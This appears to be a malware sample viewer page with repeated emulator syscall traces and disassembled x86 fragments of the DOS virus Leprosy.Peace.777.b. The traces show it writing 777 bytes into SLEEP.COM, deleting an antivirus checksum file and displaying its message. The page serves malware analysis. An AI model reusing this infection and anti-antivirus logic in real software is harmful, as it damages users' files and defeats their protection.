Sample viewer

vx.netlux.org/Virus.DOS.Leprosy.Peace.777.b

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:39:08.12844697Z 78 PC: 12b5d | Find first file
2018-12-17T22:39:08.135256172Z 42 PC: 12b6f | Get date 0x12b6f: cmp dh, 0xc
0x12b72: jne 0x12b7c
0x12b74: cmp dl, 5
0x12b77: jne 0x12b7c
0x12b79: jmp 0x12bf3
0x12b7c: mov ah, 0x4e
0x12b7e: mov dx, 0x11a
0x12b81: add dx, si
0x12b83: xor cx, cx
0x12b85: int 0x21
0x12b87: jb 0x12bc2
0x12b89: mov ax, 0x3d02
0x12b8c: mov dx, 0x9e
0x12b8f: int 0x21
0x12b91: cmp dx, 0x10e
0x12b95: je 0x12bb4
0x12b97: mov word ptr [si + 0x1fe], ax
0x12b9b: mov ax, 0x5700
0x12b9e: mov bx, word ptr [si + 0x1fe]
0x12ba2: int 0x21
2018-12-17T22:39:08.138413145Z 78 PC: 12b87 | Find first file
2018-12-17T22:39:08.147651079Z 61 PC: 12b91 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:39:08.163659472Z 87 PC: 12ba4 | Get or set file date and time
2018-12-17T22:39:08.165638254Z 64 PC: 12bdc | Write file or device (Write 777 bytes on handle 5)
2018-12-17T22:39:08.205126087Z 87 PC: 12be4 | Get or set file date and time
2018-12-17T22:39:08.206909107Z 62 PC: 12bc1 | Close file
2018-12-17T22:39:08.214689025Z 65 PC: 12bf0 | Delete file (Filename = 'chklist.ms')
2018-12-17T22:39:08.23377508Z 44 PC: 12c0c | Get time 0x12c0c: cmp dh, 0x1e
0x12c0f: jg 0x12c15
0x12c11: mov ah, 0x4c
0x12c13: int 0x21
0x12c15: mov ah, 9
0x12c17: mov dx, 0x1cc
0x12c1a: int 0x21
0x12c1c: mov ah, 0x4c
0x12c1e: int 0x21
0x12c20: mov ah, 0x4c
0x12c22: int 0x21
0x12c24: xor ax, 0xb4
0x12c27: mov cl, 4
0x12c29: shl ax, cl
0x12c2b: mov dl, byte ptr [0x355f]
0x12c2f: mov dh, 0
0x12c31: or ax, dx
0x12c33: mov cl, 8
0x12c35: shl ax, cl
0x12c37: mov word ptr [bp - 0xc], ax
2018-12-17T22:39:08.235897145Z 9 PC: 12c1c | Display string (String= ' Let's have Peace in S.A. - from Ol' Jim Blue')
2018-12-17T22:39:08.245805487Z 76 PC: 12c20 | Terminate with return code (Return code = '36')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":6726,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:00:19.277597673Z 78 PC: 12b5d | Find first file
2018-12-25T12:00:19.284176577Z 42 PC: 12b6f | Get date 0x12b6f: cmp dh, 0xc
0x12b72: jne 0x12b7c
0x12b74: cmp dl, 5
0x12b77: jne 0x12b7c
0x12b79: jmp 0x12bf3
0x12b7c: mov ah, 0x4e
0x12b7e: mov dx, 0x11a
0x12b81: add dx, si
0x12b83: xor cx, cx
0x12b85: int 0x21
0x12b87: jb 0x12bc2
0x12b89: mov ax, 0x3d02
0x12b8c: mov dx, 0x9e
0x12b8f: int 0x21
0x12b91: cmp dx, 0x10e
0x12b95: je 0x12bb4
0x12b97: mov word ptr [si + 0x1fe], ax
0x12b9b: mov ax, 0x5700
0x12b9e: mov bx, word ptr [si + 0x1fe]
0x12ba2: int 0x21
2018-12-25T12:00:19.285830309Z 78 PC: 12b87 | Find first file
2018-12-25T12:00:19.292547886Z 61 PC: 12b91 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:00:19.300313366Z 87 PC: 12ba4 | Get or set file date and time
2018-12-25T12:00:19.301756718Z 64 PC: 12bdc | Write file or device (Write 777 bytes on handle 5)
2018-12-25T12:00:19.584917887Z 87 PC: 12be4 | Get or set file date and time
2018-12-25T12:00:19.587555372Z 62 PC: 12bc1 | Close file
2018-12-25T12:00:19.593311534Z 65 PC: 12bf0 | Delete file (Filename = 'chklist.ms')
2018-12-25T12:00:19.59780932Z 44 PC: 12c0c | Get time 0x12c0c: cmp dh, 0x1e
0x12c0f: jg 0x12c15
0x12c11: mov ah, 0x4c
0x12c13: int 0x21
0x12c15: mov ah, 9
0x12c17: mov dx, 0x1cc
0x12c1a: int 0x21
0x12c1c: mov ah, 0x4c
0x12c1e: int 0x21
0x12c20: mov ah, 0x4c
0x12c22: int 0x21
0x12c24: xor ax, 0xb4
0x12c27: mov cl, 4
0x12c29: shl ax, cl
0x12c2b: mov dl, byte ptr [0x355f]
0x12c2f: mov dh, 0
0x12c31: or ax, dx
0x12c33: mov cl, 8
0x12c35: shl ax, cl
0x12c37: mov word ptr [bp - 0xc], ax
2018-12-25T12:00:19.601065854Z 76 PC: 12c15 | Terminate with return code (Return code = '0')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":6726,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:00:19.230507819Z 78 PC: 12b5d | Find first file
2018-12-25T12:00:19.239409287Z 42 PC: 12b6f | Get date 0x12b6f: cmp dh, 0xc
0x12b72: jne 0x12b7c
0x12b74: cmp dl, 5
0x12b77: jne 0x12b7c
0x12b79: jmp 0x12bf3
0x12b7c: mov ah, 0x4e
0x12b7e: mov dx, 0x11a
0x12b81: add dx, si
0x12b83: xor cx, cx
0x12b85: int 0x21
0x12b87: jb 0x12bc2
0x12b89: mov ax, 0x3d02
0x12b8c: mov dx, 0x9e
0x12b8f: int 0x21
0x12b91: cmp dx, 0x10e
0x12b95: je 0x12bb4
0x12b97: mov word ptr [si + 0x1fe], ax
0x12b9b: mov ax, 0x5700
0x12b9e: mov bx, word ptr [si + 0x1fe]
0x12ba2: int 0x21
2018-12-25T12:00:19.241675426Z 78 PC: 12b87 | Find first file
2018-12-25T12:00:19.247900815Z 61 PC: 12b91 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:00:19.25525706Z 87 PC: 12ba4 | Get or set file date and time
2018-12-25T12:00:19.257612142Z 64 PC: 12bdc | Write file or device (Write 777 bytes on handle 5)
2018-12-25T12:00:19.271537075Z 87 PC: 12be4 | Get or set file date and time
2018-12-25T12:00:19.274790658Z 62 PC: 12bc1 | Close file
2018-12-25T12:00:19.2826968Z 65 PC: 12bf0 | Delete file (Filename = 'chklist.ms')
2018-12-25T12:00:19.288785167Z 44 PC: 12c0c | Get time 0x12c0c: cmp dh, 0x1e
0x12c0f: jg 0x12c15
0x12c11: mov ah, 0x4c
0x12c13: int 0x21
0x12c15: mov ah, 9
0x12c17: mov dx, 0x1cc
0x12c1a: int 0x21
0x12c1c: mov ah, 0x4c
0x12c1e: int 0x21
0x12c20: mov ah, 0x4c
0x12c22: int 0x21
0x12c24: xor ax, 0xb4
0x12c27: mov cl, 4
0x12c29: shl ax, cl
0x12c2b: mov dl, byte ptr [0x355f]
0x12c2f: mov dh, 0
0x12c31: or ax, dx
0x12c33: mov cl, 8
0x12c35: shl ax, cl
0x12c37: mov word ptr [bp - 0xc], ax
2018-12-25T12:00:19.291832902Z 76 PC: 12c15 | Terminate with return code (Return code = '0')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":31,"TimeBased":true,"OriginalID":6726,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:00:19.579434619Z 78 PC: 12b5d | Find first file
2018-12-25T12:00:19.600458345Z 42 PC: 12b6f | Get date 0x12b6f: cmp dh, 0xc
0x12b72: jne 0x12b7c
0x12b74: cmp dl, 5
0x12b77: jne 0x12b7c
0x12b79: jmp 0x12bf3
0x12b7c: mov ah, 0x4e
0x12b7e: mov dx, 0x11a
0x12b81: add dx, si
0x12b83: xor cx, cx
0x12b85: int 0x21
0x12b87: jb 0x12bc2
0x12b89: mov ax, 0x3d02
0x12b8c: mov dx, 0x9e
0x12b8f: int 0x21
0x12b91: cmp dx, 0x10e
0x12b95: je 0x12bb4
0x12b97: mov word ptr [si + 0x1fe], ax
0x12b9b: mov ax, 0x5700
0x12b9e: mov bx, word ptr [si + 0x1fe]
0x12ba2: int 0x21
2018-12-25T12:00:19.60332621Z 78 PC: 12b87 | Find first file
2018-12-25T12:00:19.610455824Z 61 PC: 12b91 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:00:19.619433028Z 87 PC: 12ba4 | Get or set file date and time
2018-12-25T12:00:19.621601332Z 64 PC: 12bdc | Write file or device (Write 777 bytes on handle 5)
2018-12-25T12:00:19.637738009Z 87 PC: 12be4 | Get or set file date and time
2018-12-25T12:00:19.640673866Z 62 PC: 12bc1 | Close file
2018-12-25T12:00:19.649711149Z 65 PC: 12bf0 | Delete file (Filename = 'chklist.ms')
2018-12-25T12:00:19.656552071Z 44 PC: 12c0c | Get time 0x12c0c: cmp dh, 0x1e
0x12c0f: jg 0x12c15
0x12c11: mov ah, 0x4c
0x12c13: int 0x21
0x12c15: mov ah, 9
0x12c17: mov dx, 0x1cc
0x12c1a: int 0x21
0x12c1c: mov ah, 0x4c
0x12c1e: int 0x21
0x12c20: mov ah, 0x4c
0x12c22: int 0x21
0x12c24: xor ax, 0xb4
0x12c27: mov cl, 4
0x12c29: shl ax, cl
0x12c2b: mov dl, byte ptr [0x355f]
0x12c2f: mov dh, 0
0x12c31: or ax, dx
0x12c33: mov cl, 8
0x12c35: shl ax, cl
0x12c37: mov word ptr [bp - 0xc], ax
2018-12-25T12:00:19.659350473Z 9 PC: 12c1c | Display string (String= ' Let's have Peace in S.A. - from Ol' Jim Blue')
2018-12-25T12:00:19.667117406Z 76 PC: 12c20 | Terminate with return code (Return code = '36')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":31,"TimeBased":true,"OriginalID":6726,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:00:19.578286053Z 78 PC: 12b5d | Find first file
2018-12-25T12:00:19.585897818Z 42 PC: 12b6f | Get date 0x12b6f: cmp dh, 0xc
0x12b72: jne 0x12b7c
0x12b74: cmp dl, 5
0x12b77: jne 0x12b7c
0x12b79: jmp 0x12bf3
0x12b7c: mov ah, 0x4e
0x12b7e: mov dx, 0x11a
0x12b81: add dx, si
0x12b83: xor cx, cx
0x12b85: int 0x21
0x12b87: jb 0x12bc2
0x12b89: mov ax, 0x3d02
0x12b8c: mov dx, 0x9e
0x12b8f: int 0x21
0x12b91: cmp dx, 0x10e
0x12b95: je 0x12bb4
0x12b97: mov word ptr [si + 0x1fe], ax
0x12b9b: mov ax, 0x5700
0x12b9e: mov bx, word ptr [si + 0x1fe]
0x12ba2: int 0x21
2018-12-25T12:00:19.589717848Z 78 PC: 12b87 | Find first file
2018-12-25T12:00:19.596537419Z 61 PC: 12b91 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:00:19.604217674Z 87 PC: 12ba4 | Get or set file date and time
2018-12-25T12:00:19.607781359Z 64 PC: 12bdc | Write file or device (Write 777 bytes on handle 5)
2018-12-25T12:00:19.622918235Z 87 PC: 12be4 | Get or set file date and time
2018-12-25T12:00:19.625258211Z 62 PC: 12bc1 | Close file
2018-12-25T12:00:19.637929924Z 65 PC: 12bf0 | Delete file (Filename = 'chklist.ms')
2018-12-25T12:00:19.645124976Z 44 PC: 12c0c | Get time 0x12c0c: cmp dh, 0x1e
0x12c0f: jg 0x12c15
0x12c11: mov ah, 0x4c
0x12c13: int 0x21
0x12c15: mov ah, 9
0x12c17: mov dx, 0x1cc
0x12c1a: int 0x21
0x12c1c: mov ah, 0x4c
0x12c1e: int 0x21
0x12c20: mov ah, 0x4c
0x12c22: int 0x21
0x12c24: xor ax, 0xb4
0x12c27: mov cl, 4
0x12c29: shl ax, cl
0x12c2b: mov dl, byte ptr [0x355f]
0x12c2f: mov dh, 0
0x12c31: or ax, dx
0x12c33: mov cl, 8
0x12c35: shl ax, cl
0x12c37: mov word ptr [bp - 0xc], ax
2018-12-25T12:00:19.648213604Z 9 PC: 12c1c | Display string (String= ' Let's have Peace in S.A. - from Ol' Jim Blue')
2018-12-25T12:00:19.661855176Z 76 PC: 12c20 | Terminate with return code (Return code = '36')